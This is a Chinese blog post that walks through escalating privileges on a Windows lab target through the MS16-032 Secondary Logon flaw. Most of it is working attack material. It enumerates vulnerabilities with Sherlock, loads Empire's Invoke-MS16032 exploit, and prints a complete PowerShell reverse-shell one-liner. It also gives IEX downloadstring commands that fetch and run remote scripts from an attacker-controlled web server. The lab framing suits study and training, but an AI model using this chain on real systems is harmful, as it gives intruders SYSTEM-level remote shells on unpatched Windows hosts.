【安全】靶场实战-通过MS16-032提权

个人介绍:188号安全攻城狮 【甲方安全工程师/CISSP/培训讲师】
目前恶补相关安全知识中,欢迎各位一起技术探讨。
每一次评论/点赞,都将成为我继续分享的动力

MS16-032简介

该漏洞影响从Vista到Windows 10的所有Windows版本(包括服务器版本)。

  • Windows Vista
  • Windows 7
  • Windows 8.1
  • Windows 10
  • Windows 2008 Server
  • Windows 2012 Server

利用条件:

  1. 目标系统需要有2个以上的CPU核心 。
  2. PowerShell v2.0及更高版本必须正在运行。

可根据MS16-032(KB3139914)补丁是否安装,来判断当前版本是否可利用。
接下来让我们进行靶场实操,在这里已经省略掉低权限shell获取部分。

靶场实操

1. 提权漏洞枚举

通常,我们可以使用Watson来进行内核类提权漏洞的枚举,但其要求.net框架4.5及以上。当.net框架版本不满足要求时,可以采用其旧版本Sherlock

在这里,我们先判断一下当前靶机的.net版本

cd C:\windows\microsoft.net\framework>
dir

在这里插入图片描述

如图所示,可以看到最高版本为4.0,所以在此我们选择Sherlock进行提权漏洞枚举。接下来,我们需要将Sherlock在远程服务器运行。在这里,我们先本地开启web服务,并放入Sherlock脚本。

python3 -m http.server 80

在这里插入图片描述
然后再已经获取到的低权限shell中,进行远程ps脚本下载&执行

# 远程加载模块
IEX(New-Object Net.WebClient).downloadstring('http://192.168.xxx.xxx/Sherlock.ps1')
# 查看当前可利用漏洞
Find-AllVulns

在这里插入图片描述
通过分析,有效信息如下,其中3个漏洞可利用(Appears Vulnerable状态)

Title      : Secondary Logon Handle
MSBulletin : MS16-032
CVEID      : 2016-0099
Link       : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable

Title      : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID      : 2016-0093/94/95/96
Link       : https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS1
             6-034?
VulnStatus : Appears Vulnerable

Title      : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID      : 2016-7255
Link       : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/S
             ample-Exploits/MS16-135
VulnStatus : Appears Vulnerable

2. 提权尝试

在这里,我们使用Empire项目中的MS16032的exp:Invoke-MS16032.ps1。然后保存至我们web目录下。

通过该脚本,可以创建一个system权限的新进程。在这里,我们利该漏洞,来创建一个powershell的反弹shell。nishang项目中,进行反弹Shell的源码获取Invoke-PowerShellTcpOneLine.ps1,并将其保存至我们的Web目录下。

$client = New-Object System.Net.Sockets.TCPClient('192.168.xxx.xxx',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

然后回到在低权限shell中运行如下命令,加载提权脚本,并运行我们的木马

# 加载提权脚本
IEX(New-Object Net.WebClient).downloadstring('http://192.168.xxx.xxx/Invoke-MS16032.ps1')

# 提权,创建新进程并执行反弹shell
Invoke-MS16032 -Command "IEX(New-Object Net.WebClient).downloadstring('http://192.168.xxx.xxx/Invoke-PowerShellTcpOneLine.ps1')"

3. 其他坑点

需要判断一下当前powershell执行环境,如下图所示,当前powershell环境非64位环境。会导致该提权脚本产生异常。

[Environment]::Is64BitProcess

在这里插入图片描述

我们可以通过运行指定目录下的powershell,来切换为64位Shell。如下图所示,可以在通过执行sysnative下的进程,实现切换Shell。
在这里插入图片描述

C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe

在这里插入图片描述

参考资料

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值